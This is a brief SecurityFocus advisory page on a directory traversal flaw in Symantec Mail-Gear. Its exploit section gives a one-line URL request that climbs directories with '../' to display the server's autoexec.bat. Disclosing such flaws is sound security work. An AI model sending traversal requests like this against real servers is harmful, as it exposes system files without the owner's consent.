info
discussion
exploit
solution
references
Symantec Mail-Gear Directory Traversal Vulnerability
http: //target.host:8003/Display?what=../../../../../autoexec.bat
will display the server's autoexec.bat in a default NT installation.
Privacy Statement
Copyright 2010, SecurityFocus